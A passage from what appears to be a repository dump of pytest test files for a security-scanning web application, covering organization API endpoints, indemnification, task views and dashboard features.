created_organizations.append(Organization.objects.create(**org))\n\n        return created_organizations\n\n    organization = lambda_fixture(lambda organizations: organizations[0])\n\n    list_url = lambda_fixture(lambda: url_for(\"organization-list\"))\n\n    detail_url = lambda_fixture(lambda organization: url_for(\"organization-detail\", organization.pk))\n\n    client = lambda_fixture(\"drf_admin_client\")\n\n    class TestList(UsesGetMethod, UsesListEndpoint, Returns200):\n        def test_it_returns_values(self, organizations, json):\n            expected = express_organizations(organizations)\n            actual = json\n            assert actual == expected\n\n    class TestCreate(UsesPostMethod, UsesListEndpoint, Returns201):\n        data = static_fixture({\"name\": \"Test Org 3\", \"code\": \"test3\", \"tags\": [\"tag2\", \"tag3\"]})\n\n        initial_ids = precondition_fixture(\n            lambda mock_models_katalogus, mock_models_octopoes, organizations: set(\n                Organization.objects.values_list(\"id\", flat=True)\n            ),\n            async_=False,\n        )\n\n        @pytest.fixture(autouse=True)\n        def mock_katalogus(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient\")\n\n        @pytest.fixture(autouse=True)\n        def mock_octopoes(self, mocker):\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n\n        @pytest.fixture(autouse=True)\n        def mock_scheduler(self, mocker):\n            mocker.patch(\"crisis_room.management.commands.dashboards.scheduler_client\")\n\n        @pytest.fixture(autouse=True)\n        def mock_bytes(self, mocker):\n            mocker.patch(\"crisis_room.management.commands.dashboards.get_bytes_client\")\n\n        def test_it_creates_new_organization(self, initial_ids, json):\n            expected = initial_ids | {json[\"id\"]}\n            actual = set(Organization.objects.values_list(\"id\", flat=True))\n            assert actual == expected\n\n        def test_it_sets_expected_attrs(self, data, json):\n            organization = Organization.objects.get(pk=json[\"id\"])\n\n            expected = data\n            assert_model_attrs(organization, expected)\n\n        def test_it_returns_organization(self, json):\n            organization = Organization.objects.get(pk=json[\"id\"])\n\n            expected = express_organization(organization)\n            actual = json\n            assert actual == expected\n\n    class TestCreateKatalogusError(UsesPostMethod, UsesListEndpoint, Returns500):\n        data = static_fixture({\"name\": \"Test Org 3\", \"code\": \"test3\", \"tags\": [\"tag2\", \"tag3\"]})\n\n        @pytest.fixture(autouse=True)\n        def mock_services(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient.organization_exists\", return_value=False)\n            mocker.patch(\"katalogus.client.KATalogusClient.create_organization\", side_effect=HTTPError(\"Test error\"))\n            mocker.patch(\"katalogus.client.KATalogusClient.health\")\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.root_health\")\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.create_node\")\n\n        def test_it_returns_error(self, json):\n            expected = {\n                \"type\": \"server_error\",\n                \"errors\": [{\"code\": \"error\", \"detail\": \"Failed creating organization in the Katalogus\", \"attr\": None}],\n            }\n            assert json == expected\n\n    class TestCreateOctopoesError(UsesPostMethod, UsesListEndpoint, Returns500):\n        data = static_fixture({\"name\": \"Test Org 3\", \"code\": \"test3\", \"tags\": [\"tag2\", \"tag3\"]})\n\n        @pytest.fixture(autouse=True)\n        def mock_services(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient.health\")\n            mocker.patch(\"katalogus.client.KATalogusClient.organization_exists\", return_value=False)\n            mocker.patch(\"katalogus.client.KATalogusClient.create_organization\")\n            mocker.patch(\"katalogus.client.KATalogusClient.delete_organization\")  # Needed because of the \"rollback\"\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.root_health\")\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.create_node\", side_effect=HTTPError(\"Test error\"))\n\n        def test_it_returns_error(self, json):\n            expected = {\n                \"type\": \"server_error\",\n                \"errors\": [{\"code\": \"error\", \"detail\": \"Failed creating organization in Octopoes\", \"attr\": None}],\n            }\n            assert json == expected\n\n    class TestRetrieve(UsesGetMethod, UsesDetailEndpoint, Returns200):\n        def test_it_returns_organization(self, organization, json):\n            expected = express_organization(organization)\n            actual = json\n            assert actual == expected\n\n    class TestUpdate(UsesPatchMethod, UsesDetailEndpoint, Returns200):\n        data = static_fixture({\"name\": \"Changed Organization\", \"code\": \"test4\", \"tags\": [\"tag3\", \"tag4\"]})\n\n        # Code is read only so shouldn't change\n        expected_data = {\"name\": \"Changed Organization\", \"code\": \"test1\"}\n\n        @pytest.fixture(autouse=True)\n        def mock_services(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient.health\")\n            mocker.patch(\"katalogus.client.KATalogusClient.organization_exists\", return_value=False)\n            mocker.patch(\"katalogus.client.KATalogusClient.create_organization\")\n            mocker.patch(\"katalogus.client.KATalogusClient.delete_organization\")  # Needed because of the \"rollback\"\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n\n        def test_it_sets_expected_attrs(self, organization):\n            # We must tell Django to grab fresh data from the database, or we'll\n            # see our stale initial data and think our endpoint is broken!\n            organization.refresh_from_db()\n\n            assert_model_attrs(organization, self.expected_data)\n            assert {str(tag) for tag in organization.tags.all()} == {\"tag3\", \"tag4\"}\n\n        def test_it_returns_organization(self, organization, json):\n            organization.refresh_from_db()\n\n            expected = express_organization(organization)\n            actual = json\n            assert actual == expected\n\n    class TestDestroy(UsesDeleteMethod, UsesDetailEndpoint, Returns204):\n        initial_ids = precondition_fixture(\n            lambda mock_models_katalogus, mock_models_octopoes, organizations: set(\n                Organization.objects.values_list(\"id\", flat=True)\n            ),\n            async_=False,\n        )\n\n        @pytest.fixture(autouse=True)\n        def mock_katalogus(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient\")\n\n        def test_it_deletes_organization(self, initial_ids, organization, log_output):\n            expected = initial_ids - {organization.id}\n            actual = set(Organization.objects.values_list(\"id\", flat=True))\n            assert actual == expected\n\n            organization_created_log = log_output.entries[-2]\n            assert organization_created_log[\"event\"] == \"%s %s deleted\"\n            assert organization_created_log[\"object\"] == \"Test Organization 1\"\n            assert organization_created_log[\"object_type\"] == \"Organization\"\n\n    class TestDestroyKatalogusError(UsesDeleteMethod, UsesDetailEndpoint, Returns500):\n        @pytest.fixture(autouse=True)\n        def mock_services(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient.health\")\n            mocker.patch(\"katalogus.client.KATalogusClient.delete_organization\", side_effect=HTTPError(\"Test error\"))\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector\")\n\n        def test_it_returns_error(self, json):\n            expected = {\n                \"type\": \"server_error\",\n                \"errors\": [{\"code\": \"error\", \"detail\": \"Failed deleting organization in the Katalogus\", \"attr\": None}],\n            }\n            assert json == expected\n\n    class TestDestroyOctopoesError(UsesDeleteMethod, UsesDetailEndpoint, Returns500):\n        @pytest.fixture(autouse=True)\n        def mock_services(self, mocker):\n            mocker.patch(\"katalogus.client.KATalogusClient\")\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.root_health\")\n            mocker.patch(\"rocky.signals.OctopoesAPIConnector.delete_node\", side_effect=HTTPError(\"Test error\"))\n\n        def test_it_returns_error(self, json):\n            expected = {\n                \"type\": \"server_error\",\n                \"errors\": [{\"code\": \"error\", \"detail\": \"Failed deleting organization in Octopoes\", \"attr\": None}],\n            }\n            assert json == expected\n\n    class TestListNoPermission(UsesGetMethod, UsesListEndpoint, Returns403):\n        client = lambda_fixture(\"drf_redteam_client\")\n\n    class TestCreateNoPermission(UsesPostMethod, UsesListEndpoint, Returns403):\n        client = lambda_fixture(\"drf_redteam_client\")\n\n    class TestRetrieveNoPermission(UsesGetMethod, UsesDetailEndpoint, Returns403):\n        client = lambda_fixture(\"drf_redteam_client\")\n\n    class TestDestroyNoPermission(UsesDeleteMethod, UsesDetailEndpoint, Returns403):\n        client = lambda_fixture(\"drf_redteam_client\")\n\n\nclass TestGetIndemnification(APIViewTest, UsesGetMethod, Returns200):\n    # The superuser_member fixture creates the indemnification\n    url = lambda_fixture(\n        lambda organization, superuser_member: reverse(\"organization-indemnification\", args=[organization.pk])\n    )\n    client = lambda_fixture(\"drf_admin_client\")\n\n    def test_it_returns_indemnification(self, json, superuser_member):\n        expected = {\"indemnification\": True, \"user\": superuser_member.user.id}\n        assert json == expected\n\n\nclass TestIndemnificationDoesNotExist(APIViewTest, UsesGetMethod, Returns200):\n    url = lambda_fixture(lambda organization: reverse(\"organization-indemnification\", args=[organization.pk]))\n    client = lambda_fixture(\"drf_admin_client\")\n\n    def test_it_returns_no_indemnification(self, json):\n        expected = {\"indemnification\": False, \"user\": None}\n        assert json == expected\n\n\nclass TestGetIndemnificationNoPermission(APIViewTest, UsesGetMethod, Returns403):\n    url = lambda_fixture(lambda organization: reverse(\"organization-indemnification\", args=[organization.pk]))\n    client = lambda_fixture(\"drf_redteam_client\")\n\n\nclass TestSetIndemnification(APIViewTest, UsesPostMethod, Returns201):\n    url = lambda_fixture(lambda organization: reverse(\"organization-indemnification\", args=[organization.pk]))\n\n    @pytest.fixture\n    def client(self, drf_redteam_client, redteamuser):\n        redteamuser.user_permissions.set([Permission.objects.get(codename=\"add_indemnification\")])\n        return drf_redteam_client\n\n    def test_it_sets_indemnification(self, json, redteamuser):\n        expected = {\"indemnification\": True, \"user\": redteamuser.id}\n        assert json == expected\n\n\nclass TestSetIndemnificationNoPermission(APIViewTest, UsesPostMethod, Returns403):\n    url = lambda_fixture(lambda organization: reverse(\"organization-indemnification\", args=[organization.pk]))\n    client = lambda_fixture(\"drf_redteam_client\")\n\n\nclass TestIndemnificationAlreadyExists(APIViewTest, UsesPostMethod, Returns409):\n    # The superuser_member fixture creates the indemnification\n    url = lambda_fixture(\n        lambda organization, superuser_member: reverse(\"organization-indemnification\", args=[organization.pk])\n    )\n    client = lambda_fixture(\"drf_admin_client\")\n\n    def test_it_returns_indemnification(self, json, superuser_member):\n        expected = {\"indemnification\": True, \"user\": superuser_member.user.id}\n        assert json == expected\n\n\nclass TestRecalculateBits(APIViewTest, UsesPostMethod, Returns200):\n    url = lambda_fixture(lambda organization: reverse(\"organization-recalculate-bits\", args=[organization.pk]))\n\n    @pytest.fixture\n    def client(self, drf_redteam_client, redteamuser):\n        redteamuser.user_permissions.set([Permission.objects.get(codename=\"can_recalculate_bits\")])\n        return drf_redteam_client\n\n    @pytest.fixture(autouse=True)\n    def mock_octopoes(self, mocker):\n        return mocker.patch(\"tools.viewsets.OctopoesAPIConnector.recalculate_bits\", return_value=42)\n\n    def test_it_recalculates_bits(self, json):\n        expected = {\"number_of_bits\": 42}\n        assert json == expected\n\n\nclass TestRecalculateBitsNoPermission(APIViewTest, UsesPostMethod, Returns403):\n    url = lambda_fixture(lambda organization: reverse(\"organization-recalculate-bits\", args=[organization.pk]))\n    client = lambda_fixture(\"drf_redteam_client\")\n\n\nclass TestKatalogusCloneSettings(APIViewTest, UsesPostMethod, Returns200):\n    url = lambda_fixture(lambda organization: reverse(\"organization-clone-katalogus-settings\", args=[organization.pk]))\n    data = lambda_fixture(lambda organization_b: {\"to_organization\": organization_b.id})\n\n    @pytest.fixture\n    def client(self, drf_redteam_client, redteamuser):\n        redteamuser.user_permissions.set(\n            [\n                Permission.objects.get(codename=\"can_set_katalogus_settings\"),\n                Permission.objects.get(codename=\"can_access_all_organizations\"),\n            ]\n        )\n\n        return drf_redteam_client\n\n    @pytest.fixture(autouse=True)\n    def mock_katalogus(self, mocker):\n        return mocker.patch(\"katalogus.client.KATalogusClient\")\n\n    def test_it_clones_settings(self, mock_katalogus, organization, organization_b):\n        mock_katalogus().clone_all_configuration_to_organization.assert_called_once_with(\n            organization.code, organization_b.code\n        )\n\n\nclass TestCloneKatalogusSettingsNoPermission(APIViewTest, UsesPostMethod, Returns403):\n    url = lambda_fixture(lambda organization: reverse(\"organization-clone-katalogus-settings\", args=[organization.pk]))\n    client = lambda_fixture(\"drf_redteam_client\")\n\n\nclass TestCloneKatalogusSettingsInvalidData(APIViewTest, UsesPostMethod, Returns400):\n    url = lambda_fixture(lambda organization: reverse(\"organization-clone-katalogus-settings\", args=[organization.pk]))\n    data = lambda_fixture(lambda organization_b: {\"wrong_field\": organization_b.id})\n\n    @pytest.fixture\n    def client(self, drf_redteam_client, redteamuser):\n        redteamuser.user_permissions.set([Permission.objects.get(codename=\"can_set_katalogus_settings\")])\n        return drf_redteam_client\n"
  },
  {
    "path": "rocky/tests/test_boefjes_tasks.py",
    "content": "import pytest\nfrom django.http import Http404\nfrom pytest_django.asserts import assertContains\n\nfrom rocky.scheduler import SchedulerTooManyRequestError\nfrom rocky.views.bytes_raw import BytesRawView\nfrom rocky.views.tasks import BoefjesTaskListView\nfrom tests.conftest import setup_request\n\n\ndef test_boefjes_tasks(rf, client_member, mock_scheduler):\n    request = setup_request(rf.get(\"boefjes_task_list\"), client_member.user)\n    response = BoefjesTaskListView.as_view()(\n        request,\n        organization_code=client_member.organization.code,\n        scheduler_id=\"boefje-test\",\n        task_type=\"boefje\",\n        status=None,\n        min_created_at=None,\n        max_created_at=None,\n        input_ooi=None,\n    )\n\n    assert response.status_code == 200\n\n\ndef test_tasks_view_simple(rf, client_member, mock_scheduler, mock_scheduler_client_task_list):\n    request = setup_request(rf.get(\"boefjes_task_list\"), client_member.user)\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assertContains(response, \"Completed\")\n\n\ndef test_reschedule_task(rf, client_member, mock_scheduler, task):\n    mock_scheduler.get_task_details.return_value = task\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/tasks/boefjes/?task_id={task.id}\",\n            data={\"action\": \"reschedule_task\"},\n        ),\n        client_member.user,\n    )\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert list(request._messages)[0].message == (\n        \"Your task is scheduled and will soon be started in the background. \"\n        \"Results will be added to the object list when they are in. \"\n        \"It may take some time, a refresh of the page may be needed to show the results.\"\n    )\n\n\ndef test_reschedule_task_already_queued(rf, client_member, mock_scheduler, mocker, task):\n    mock_scheduler.get_task_details.return_value = task\n    mock_scheduler.push_task.side_effect = SchedulerTooManyRequestError\n\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/tasks/boefjes/?task_id={task.id}\",\n            data={\"action\": \"reschedule_task\"},\n        ),\n        client_member.user,\n    )\n\n    response = BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert (\n        list(request._messages)[0].message\n        == \"Scheduler is receiving too many requests. Increase SCHEDULER_PQ_MAXSIZE or wait for task to finish.\"\n    )\n\n\ndef test_reschedule_task_from_other_org(rf, client_member, client_member_b, mock_scheduler, task):\n    mock_scheduler.get_task_details.return_value = task\n\n    request = setup_request(\n        rf.post(\n            f\"/en/{client_member.organization.code}/tasks/boefjes/?task_id={task.id}\",\n            data={\"action\": \"reschedule_task\"},\n        ),\n        client_member_b.user,\n    )\n    with pytest.raises(Http404):\n        BoefjesTaskListView.as_view()(request, organization_code=client_member.organization.code)\n\n\ndef test_download_task_other_org_from_other_org_url(\n    rf, client_member, client_member_b, mock_bytes_client, bytes_raw_metas\n):\n    with pytest.raises(Http404):\n        BytesRawView.as_view()(\n            setup_request(rf.get(\"bytes_raw\"), client_member.user),\n            organization_code=client_member_b.organization.code,\n            boefje_meta_id=bytes_raw_metas[0][\"id\"],\n        )\n\n\ndef test_download_task_same_org(rf, client_member, mock_bytes_client, bytes_raw_metas, bytes_get_raw):\n    mock_bytes_client().get_raw.return_value = bytes_get_raw\n    mock_bytes_client().get_raw_metas.return_value = bytes_raw_metas\n\n    request = setup_request(rf.get(\"bytes_raw\"), client_member.user)\n\n    response = BytesRawView.as_view()(\n        request, organization_code=client_member.organization.code, boefje_meta_id=bytes_raw_metas[0][\"id\"]\n    )\n\n    assert response.status_code == 200\n\n\ndef test_download_task_no_raw(rf, client_member, mock_bytes_client, bytes_raw_metas):\n    mock_bytes_client().get_raw_metas.return_value = []\n\n    request = setup_request(rf.get(\"bytes_raw\"), client_member.user)\n\n    response = BytesRawView.as_view()(\n        request, organization_code=client_member.organization.code, boefje_meta_id=bytes_raw_metas[0][\"id\"]\n    )\n\n    assert response.status_code == 302\n    assert list(request._messages)[0].message == \"The task does not have any raw data.\"\n"
  },
  {
    "path": "rocky/tests/test_core.py",
    "content": "def test_root(client):\n    response = client.get(\"/\")\n    assert response.status_code == 302\n    assert response.headers[\"Location\"] == \"/en/\"\n\n\ndef test_404(client, clientuser):\n    client.force_login(clientuser)\n    response = client.get(\"/en/does/not/exist/\")\n    assert response.status_code == 404\n"
  },
  {
    "path": "rocky/tests/test_dashboard.py",
    "content": "import random\n\nimport pytest\nfrom crisis_room.forms import AddFindingListDashboardItemForm, AddObjectListDashboardItemForm\nfrom crisis_room.models import Dashboard, DashboardItem\nfrom crisis_room.views import (\n    AddDashboardView,\n    CrisisRoomView,\n    DashboardService,\n    DeleteDashboardItemView,\n    DeleteDashboardView,\n    OrganizationsCrisisRoomView,\n    UpdateDashboardItemView,\n)\nfrom django.core.exceptions import PermissionDenied\nfrom django.http.request import QueryDict\nfrom pytest_django.asserts import assertContains, assertNotContains\n\nfrom tests.conftest import setup_request\n\n\ndef test_expected_findings_results_dashboard(rf, mocker, client_member, expected_findings_results):\n    \"\"\"Test if the view is visible and if data is shown in the tables.\"\"\"\n\n    dashboard_service = mocker.patch(\"crisis_room.views.DashboardService\")()\n    dashboard_service.get_dashboard_items.return_value = expected_findings_results\n\n    summary = dashboard_service.get_organizations_findings_summary.side_effect = (\n        DashboardService().get_organizations_findings_summary\n    )\n    summary_data = summary(expected_findings_results)\n\n    total_finding_types = summary_data[\"total_finding_types\"]\n    total_occurrences = summary_data[\"total_occurrences\"]\n\n    org_code_a, org_name_a = (\n        expected_findings_results[0].item.dashboard.organization.code,\n        expected_findings_results[0].item.dashboard.organization.name,\n    )\n    org_code_b, org_name_b = (\n        expected_findings_results[1].item.dashboard.organization.code,\n        expected_findings_results[1].item.dashboard.organization.name,\n    )\n\n    request = setup_request(rf.get(\"crisis_room\"), client_member.user)\n    response = CrisisRoomView.as_view()(request)\n\n    assert response.status_code == 200\n    # View should show the 'Findings overview' for all organizations\n    assertContains(response, \"<h2>Findings overview</h2>\", html=True)\n    assertContains(response, '<caption class=\"visually-hidden\">Total per severity overview</caption>', html=True)\n    assertContains(\n        response,\n        '<tr><td><span class=\"critical\">Critical</span></td><td class=\"number\">1</td><td class=\"number\">3</td></tr>',\n        html=True,\n    )\n    assertContains(response, '<tr><td>Total</td><td class=\"number\">16</td><td class=\"number\">24</td></tr>', html=True)\n\n    # View should also show the 'Findings for all orgniazations' table for all organizations\n    assertContains(response, \"<h2>Findings per organization</h2>\", html=True)\n    assertContains(response, '<caption class=\"visually-hidden\">Findings per organization overview</caption>', html=True)\n\n    assertContains(response, f'<td><a href=\"/en/crisis-room/{org_code_a}/\">{org_name_a}</a></td>', html=True)\n    assertContains(response, \"<h5>Findings overview</h5>\", html=True)\n    assertContains(response, '<td>Total</td><td class=\"number\">4</td><td class=\"number\">7</td>', html=True)\n\n    assertContains(response, f'<td><a href=\"/en/crisis-room/{org_code_b}/\">{org_name_b}</a></td>', html=True)\n\n    assertContains(\n        response,\n        f'<td>Total</td><td class=\"number\">{total_finding_types}</td><td class=\"number\">{total_occurrences}</td>',\n        html=True,\n    )\n    assertContains(\n        response, \"<p>No critical and high findings have been identified for this organization.</p>\", html=True\n    )\n\n\ndef test_get_organizations_findings_summary(expected_findings_results):\n    \"\"\"Test if summary has counted the results of both reports correctly.\"\"\"\n    dashboard_service = DashboardService()\n    summary_results = dashboard_service.get_organizations_findings_summary(expected_findings_results)\n\n    assert summary_results[\"total_by_severity_per_finding_type\"] == {\n        \"critical\": 1,\n        \"high\": 2,\n        \"medium\": 7,\n        \"low\": 3,\n        \"recommendation\": 1,\n        \"pending\": 1,\n        \"unknown\": 1,\n    }\n    assert summary_results[\"total_by_severity\"] == {\n        \"critical\": 3,\n        \"high\": 3,\n        \"medium\": 9,\n        \"low\": 6,\n        \"recommendation\": 1,\n        \"pending\": 1,\n        \"unknown\": 1,\n    }\n    assert summary_results[\"total_finding_types\"] == 16\n    assert summary_results[\"total_occurrences\"] == 24\n\n\ndef test_get_organizations_findings_summary_no_input():\n    \"\"\"Test if summary returns an empty dict if there is not input.\"\"\"\n    dashboard_service = DashboardService()\n    summary_results = dashboard_service.get_organizations_findings_summary({})\n\n    assert summary_results == {}\n\n\ndef test_get_organizations_findings(findings_reports_data):\n    \"\"\"Test if the highest risk level is collected, only critical and high finding types are returned.\"\"\"\n    dashboard_service = DashboardService()\n    report_data = list(findings_reports_data.values())[0]\n\n    report_data[\"findings\"][\"finding_types\"] = [\n        {\"finding_type\": {\"risk_severity\": \"critical\"}, \"occurrences\": {}},\n        {\"finding_type\": {\"risk_severity\": \"high\"}, \"occurrences\": {}},\n        {\"finding_type\": {\"risk_severity\": \"low\"}, \"occurrences\": {}},\n    ]\n    findings = dashboard_service.get_organizations_findings(report_data)\n\n    assert len(findings[\"findings\"][\"finding_types\"]) == 2\n    assert findings[\"highest_risk_level\"] == \"critical\"\n    assert findings[\"findings\"][\"finding_types\"][0][\"finding_type\"][\"risk_severity\"] == \"critical\"\n    assert findings[\"findings\"][\"finding_types\"][1][\"finding_type\"][\"risk_severity\"] == \"high\"\n\n\ndef test_get_organizations_findings_no_finding_types(findings_reports_data):\n    \"\"\"\n    When there are no finding types, the result should contain the report data and\n    highest_risk_level should be an empty string.\n    \"\"\"\n    dashboard_service = DashboardService()\n    report_data = list(findings_reports_data.values())[0]\n    findings = dashboard_service.get_organizations_findings(report_data)\n\n    assert findings == report_data | {\"highest_risk_level\": \"\"}\n\n\ndef test_get_organizations_findings_no_input():\n    \"\"\"When there is no input, the result should only contain an empty highest_risk_level\"\"\"\n    dashboard_service = DashboardService()\n    findings = dashboard_service.get_organizations_findings({})\n\n    assert findings == {\"highest_risk_level\": \"\"}\n\n\ndef test_collect_findings_dashboard(findings_results, expected_findings_results):\n    \"\"\"\n    Test if the right dashboard is filtered and if the method returns the right dict format.\n    Only the most recent report should be visible in the dict.\n    \"\"\"\n\n    assert len(findings_results) == len(expected_findings_results)\n\n    for index in range(len(findings_results)):\n        assert findings_results[index].item == expected_findings_results[index].item\n        assert findings_results[index].data[\"report\"] == expected_findings_results[index].data[\"report\"]\n        assert findings_results[index].data[\"report_data\"] == expected_findings_results[index].data[\"report_data\"]\n\n\ndef test_create_dashboard(rf, redteam_member):\n    dashboard_name = \"test\"\n    request = setup_request(\n        rf.post(\"add_dashboard\", {\"organization_code\": \"test\", \"dashboard_name\": dashboard_name}), redteam_member.user\n    )\n    response = AddDashboardView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n\n    assert f\"Dashboard '{dashboard_name}' has been created.\" in messages[0].message\n\n    dashboard = Dashboard.objects.filter(name=dashboard_name)\n    assert dashboard.exists()\n    assert len(dashboard) == 1\n\n\ndef test_create_dashboard_no_permission(rf, client_member):\n    dashboard_name = \"test\"\n    request = setup_request(\n        rf.post(\"add_dashboard\", {\"organization_code\": \"test\", \"dashboard_name\": dashboard_name}), client_member.user\n    )\n\n    with pytest.raises(PermissionDenied):\n        AddDashboardView.as_view()(request, organization_code=client_member.organization.code)\n\n\ndef test_create_dashboard_already_exist(rf, redteam_member):\n    dashboard_name = \"test\"\n    Dashboard.objects.create(name=dashboard_name, organization=redteam_member.organization)\n\n    request = setup_request(\n        rf.post(\"add_dashboard\", {\"organization_code\": \"test\", \"dashboard_name\": dashboard_name}), redteam_member.user\n    )\n    response = AddDashboardView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    messages = list(request._messages)\n\n    assert f\"Dashboard with name '{dashboard_name}' already exists.\" in messages[0].message\n\n\ndef test_update_dashboard_item_positioning(rf, redteam_member, dashboard_items):\n    item_1, item_2, item_3, item_4 = dashboard_items[0], dashboard_items[1], dashboard_items[2], dashboard_items[3]\n\n    # save positions before swapping to check positions later\n    position_item_1 = item_1.position\n    position_item_2 = item_2.position\n    position_item_3 = item_3.position\n    position_item_4 = item_4.position\n\n    request = setup_request(\n        rf.post(\"update_dashboard_item\", {\"dashboard_item\": item_3.id, \"move\": \"up\"}), redteam_member.user\n    )\n    response = UpdateDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    dashboard_data_item_1 = DashboardItem.objects.get(id=item_1.id, dashboard__organization=redteam_member.organization)\n    dashboard_data_item_2 = DashboardItem.objects.get(id=item_2.id, dashboard__organization=redteam_member.organization)\n    dashboard_data_item_3 = DashboardItem.objects.get(id=item_3.id, dashboard__organization=redteam_member.organization)\n    dashboard_data_item_4 = DashboardItem.objects.get(id=item_4.id, dashboard__organization=redteam_member.organization)\n\n    # item 1 must have moved down (+1), because we have changed item 2 to move up (-1)\n    assert dashboard_data_item_2.position == position_item_2 + 1\n    assert dashboard_data_item_3.position == position_item_3 - 1\n\n    # last and first item position must not be changed\n    assert dashboard_data_item_1.position == position_item_1\n    assert dashboard_data_item_4.position == position_item_4\n\n\ndef test_update_dashboard_item_positioning_no_permission(rf, client_member, dashboard_items):\n    request = setup_request(\n        rf.post(\"update_dashboard_item\", {\"dashboard_item\": dashboard_items[2].id, \"move\": \"up\"}), client_member.user\n    )\n    with pytest.raises(PermissionDenied):\n        UpdateDashboardItemView.as_view()(request, organization_code=client_member.organization.code)\n\n\ndef test_update_dashboard_item_positioning_lower_than_first_item(rf, redteam_member, dashboard_items):\n    item_1 = dashboard_items[0]\n    position_item_1 = item_1.position\n\n    request = setup_request(\n        rf.post(\"update_dashboard_item\", {\"dashboard_item\": item_1.id, \"move\": \"up\"}), redteam_member.user\n    )\n    response = UpdateDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    dashboard_data_item_1 = DashboardItem.objects.get(id=item_1.id, dashboard__organization=redteam_member.organization)\n\n    # nothing will be updated, as we cannot move up if this is the first item\n    assert dashboard_data_item_1.position == position_item_1\n\n\ndef test_update_dashboard_item_positioning_greater_than_last_item(rf, redteam_member, dashboard_items):\n    item_4 = dashboard_items[3]\n    position_item_4 = item_4.position\n\n    request = setup_request(\n        rf.post(\"update_dashboard_item\", {\"dashboard_item\": item_4.id, \"move\": \"down\"}), redteam_member.user\n    )\n    response = UpdateDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    dashboard_data_item_4 = DashboardItem.objects.get(id=item_4.id, dashboard__organization=redteam_member.organization)\n\n    # nothing will be updated, as we cannot move down if this is the last item\n    assert dashboard_data_item_4.position == position_item_4\n\n\ndef test_delete_dashboard_item(rf, redteam_member, dashboard_items):\n    item_1 = dashboard_items[0]\n    item_2 = dashboard_items[1]\n    item_3 = dashboard_items[2]\n    item_4 = dashboard_items[3]\n\n    position_item_1 = item_1.position\n    position_item_2 = item_2.position\n    position_item_4 = item_4.position\n\n    request = setup_request(\n        rf.post(\"delete_dashboard_item\", {\"dashboard_item_name\": item_3.name, \"dashboard_item_id\": item_3.id}),\n        redteam_member.user,\n    )\n    response = DeleteDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    dashboard_data_item_1 = DashboardItem.objects.get(id=item_1.id, dashboard__organization=redteam_member.organization)\n    dashboard_data_item_2 = DashboardItem.objects.get(id=item_2.id, dashboard__organization=redteam_member.organization)\n\n    with pytest.raises(DashboardItem.DoesNotExist):\n        DashboardItem.objects.get(id=item_3.id, dashboard__organization=redteam_member.organization)\n\n    dashboard_data_item_4 = DashboardItem.objects.get(id=item_4.id, dashboard__organization=redteam_member.organization)\n\n    messages = list(request._messages)\n\n    assert f\"Dashboard item '{item_3.name}' has been deleted.\" in messages[0].message\n\n    # check if other dashboard items repositioned based on the deleted item.\n\n    assert dashboard_data_item_1.position == position_item_1\n    assert dashboard_data_item_2.position == position_item_2\n\n    assert dashboard_data_item_4.position == position_item_4 - 1\n\n\ndef test_delete_dashboard_item_no_permission(rf, client_member, dashboard_items):\n    request = setup_request(\n        rf.post(\n            \"delete_dashboard_item\",\n            {\"dashboard_item_name\": dashboard_items[2].name, \"dashboard_item_id\": dashboard_items[2].id},\n        ),\n        client_member.user,\n    )\n    with pytest.raises(PermissionDenied):\n        DeleteDashboardItemView.as_view()(request, organization_code=client_member.organization.code)\n\n\ndef test_delete_dashboard_item_repositioning(rf, client_member, dashboard_items):\n    \"\"\"After repositioning of items, mixin the order, see when deleting if positioning calculates correctly\"\"\"\n\n    positions = [dashboard_item.position for dashboard_item in dashboard_items]\n    random.seed(999)\n    random.shuffle(positions)\n\n    # change the positions of dashboard items randomly\n    for index, dashboard_item in enumerate(dashboard_items):\n        dashboard_item.position = positions[index]\n        dashboard_item.save()\n\n    dashboard_items[1].delete()\n\n    # get items after deleting, we order items by position\n    dashboard_items = DashboardItem.objects.all().order_by(\"position\")\n\n    # position must match index of items\n    for index, dashboard_item in enumerate(dashboard_items, start=1):\n        assert dashboard_item.position == index\n\n\ndef test_delete_dashboard_item_no_dashboard(rf, redteam_member, dashboard_items):\n    item_3 = dashboard_items[2]\n\n    request = setup_request(\n        rf.post(\"delete_dashboard_item\", {\"dashboard_item_name\": item_3.name, \"dashboard_item_id\": 100}),\n        redteam_member.user,\n    )\n    response = DeleteDashboardItemView.as_view()(request, organization_code=redteam_member.organization.code)\n\n    assert response.status_code == 302\n\n    # item still exists but dashboard with unknown name cannot be found\n    DashboardItem.objects.get(id=item_3.id, dashboard__organization=redteam_member.organization)\n\n    messages = list(request._messages)\n\n    assert f\"Dashboard item '{item_3.name}' not found.\" in messages[0].message\n\n\ndef test_delete_dashboard_item_no_dashboard_data(rf, redteam_member, dashboard_items):\n    item_2 = dashboard_items[1]\n\n    request = setup_request(\n        